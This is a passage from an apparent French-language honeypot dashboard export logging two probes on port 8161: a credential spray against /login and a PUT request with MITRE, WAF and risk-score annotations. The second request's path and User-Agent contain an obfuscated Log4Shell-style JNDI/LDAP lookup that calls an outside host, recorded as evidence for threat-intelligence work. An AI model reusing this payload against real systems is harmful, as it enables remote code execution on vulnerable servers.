"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"activemq-console",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:45 UTC
TCP
8161 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8161 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8161
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Cont
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1887,
"payload_entropy": 5.109519565038426,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "21ef9dd5943c2b0dc1cca44e3b8fc6e6fc6049ef",
"event_fingerprint": "66e4a49827109ba91fc0b6cfe9fcdb411d885f7a",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "b6918fc76564728e926468ef25464f76",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d85a36fdf98de0d3cf61df91f57d2bfc178ab3a2",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"activemq-console",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:45 UTC
TCP
8161 · HTTP
Sonde port 8161/TCP
port 8161 tcp · via HTTP:8161 · (sonde / probe) · → /${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:…
Élevée
Moyen · 59
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
PUT /${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:… UA ${${30:n0j:9vs4:-j}${cshp:9j0:-n}${cfl:td:lvq:-d}${zaw:-i}${52:…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-/}${ec:x4d:-/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-:}${kce:-j}${qbrl:-a}${njho:v1:-v}${jqvl:j:-a}${tjq:1z:-.}${3:o:-v}${c:m1:bdv8:-e}${r5oc:wks5:-r}${y:ukly:fjtx:-s}${6uo5:9h:-i}${a:-o}${9g:02:47i:-n}}${4:k:aq83:-.}${hat:-5}${y6jb:be82:-4}${42cz:oey3:-3}${7:-4}${p:-7}${3mi:71zm:mh:-6}${7:5ujl:eg3:-6}${mx:s:-9}
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
8161
Chemin / cible
/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-/}${ec:x4d:-/}${02a:-P}…
Preuve honeypot — Sonde port 8161/TCP
Connexion détectée sur le port 8161 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8161_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 59
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-/}${ec:x4d:-/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-:}${kce:-j}${qbrl:-a}${njho:v1:-v}${jqvl:j:-a}${tjq:1z:-.}${3:o:-v}${c:m1:bdv8:-e}${r5oc:wks5:-r}${y:ukly:fjtx:-s}${6uo5:9h:-i}${a:-o}${9g:02:47i:-n}}${4:k:aq83:-.}${hat:-5}${y6jb:be82:-4}${42cz:oey3:-3}${7:-4}${p:-7}${3mi:71zm:mh:-6}${7:5ujl:eg3:-6}${mx:s
User-Agent
${${30:n0j:9vs4:-j}${cshp:9j0:-n}${cfl:td:lvq:-d}${zaw:-i}${52:-:}${l:a4:q:-l}${bm1:9a8u:f:-d}${q9o6:-a}${p2xw:-p}${ipgl:-:}${k65z:-/}${qlr2:vx:u4:-/}${04h:br9t:r:-U}${t:t4c:-A}${m8zx:h3oq:4x1:-l}${m…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:
Requête brute (extrait)
PUT /${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-/}${ec:x4d:-/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${p:zdu:3:-g}${1d:r5u:p:-o}${z:-o}${18b:3:rkh:-g}}",
"http_ua_hash": "69688b3fd78e2a6ca168c5c538e984ef4ffc423f",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "ae7feb939449d32b9671058d815adc10d9d243a3",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.81050994653994,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.7,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 59,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "059e4af0ef21c53d47c034a3ede87c9edd7b0240",
"event_fingerprint": "4557678caf5dfe8aa9350891d4e1f29e593c9a15",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 59,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "885a61f3f50e6ef50003ce30d7adeee2",
"payload_hash": "61166df5dd34fb95e708441b2e77cb2e",
"path_pattern_hash": "adffbdc0bec33971a18da5c3d8127e35"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 59
},
"method": "PUT",
"path": "\/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-:}${kce:-j}${qbrl:-a}${njho:v1:-v}${jqvl:j:-a}${tjq:1z:-.}${3:o:-v}${c:m1:bdv8:-e}${r5oc:wks5:-r}${y:ukly:fjtx:-s}${6uo5:9h:-i}${a:-o}${9g:02:47i:-n}}${4:k:aq83:-.}${hat:-5}${y6jb:be82:-4}${42cz:oey3:-3}${7:-4}${p:-7}${3mi:71zm:mh:-6}${7:5ujl:eg3:-6}${mx:s:-9}",
"user_agent": "${${30:n0j:9vs4:-j}${cshp:9j0:-n}${cfl:td:lvq:-d}${zaw:-i}${52:-:}${l:a4:q:-l}${bm1:9a8u:f:-d}${q9o6:-a}${p2xw:-p}${ipgl:-:}${k65z:-\/}${qlr2:vx:u4:-\/}${04h:br9t:r:-U}${t:t4c:-A}${m8zx:h3oq:4x1:-l}${mv:wb4:-0}${xz:oi:-c}${io2:--}${${k:56h:-s}${g:n:o2cq:-y}\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-:}${kce:-j}${qbrl:-a}${njho:v1:-v}${jqvl:j:-a}${tjq:1z:-.}${3:o:-v}${c:m1:bdv8:-e}${r5oc:wks5:-r}${y:ukly:fjtx:-s}${6uo5:9h:-i}${a:-o}${9g:02:47i:-n}}${4:k:aq83:-.}${hat:-5}${y6jb:be82:-4}${42cz:oey3:-3}${7:-4}${p:-7}${3mi:71zm:mh:-6}${7:5ujl:eg3:-6}${mx:s",
"payload_snippet": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:",
"evidence": {
"method": "PUT",
"path": "\/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-:}${kce:-j}${qbrl:-a}${njho:v1:-v}${jqvl:j:-a}${tjq:1z:-.}${3:o:-v}${c:m1:bdv8:-e}${r5oc:wks5:-r}${y:ukly:fjtx:-s}${6uo5:9h:-i}${a:-o}${9g:02:47i:-n}}${4:k:aq83:-.}${hat:-5}${y6jb:be82:-4}${42cz:oey3:-3}${7:-4}${p:-7}${3mi:71zm:mh:-6}${7:5ujl:eg3:-6}${mx:s:-9}",
"user_agent": "${${30:n0j:9vs4:-j}${cshp:9j0:-n}${cfl:td:lvq:-d}${zaw:-i}${52:-:}${l:a4:q:-l}${bm1:9a8u:f:-d}${q9o6:-a}${p2xw:-p}${ipgl:-:}${k65z:-\/}${qlr2:vx:u4:-\/}${04h:br9t:r:-U}${t:t4c:-A}${m8zx:h3oq:4x1:-l}${mv:wb4:-0}${xz:oi:-c}${io2:--}${${k:56h:-s}${g:n:o2cq:-y}\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-:}${kce:-j}${qbrl:-a}${njho:v1:-v}${jqvl:j:-a}${tjq:1z:-.}${3:o:-v}${c:m1:bdv8:-e}${r5oc:wks5:-r}${y:ukly:fjtx:-s}${6uo5:9h:-i}${a:-o}${9g:02:47i:-n}}${4:k:aq83:-.}${hat:-5}${y6jb:be82:-4}${42cz:oey3:-3}${7:-4}${p:-7}${3mi:71zm:mh:-6}${7:5ujl:eg3:-6}${mx:s",
"request_sample": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}${t:-c}${3c:--}${${h8:hg:yi:-s}${0n91:-y}${w:zv2:-s}${su:-",
"payload_snippet": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "38b860fc53802bc2796fa5883d7b16cbeff804ff",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}\u2026",
"request_line": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}$\u2026",
"http_user_agent": "${${30:n0j:9vs4:-j}${cshp:9j0:-n}${cfl:td:lvq:-d}${zaw:-i}${52:-:}${l:a4:q:-l}${bm1:9a8u:f:-d}${q9o6:-a}${p2xw:-p}${ipg\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:",
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:\u2026",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
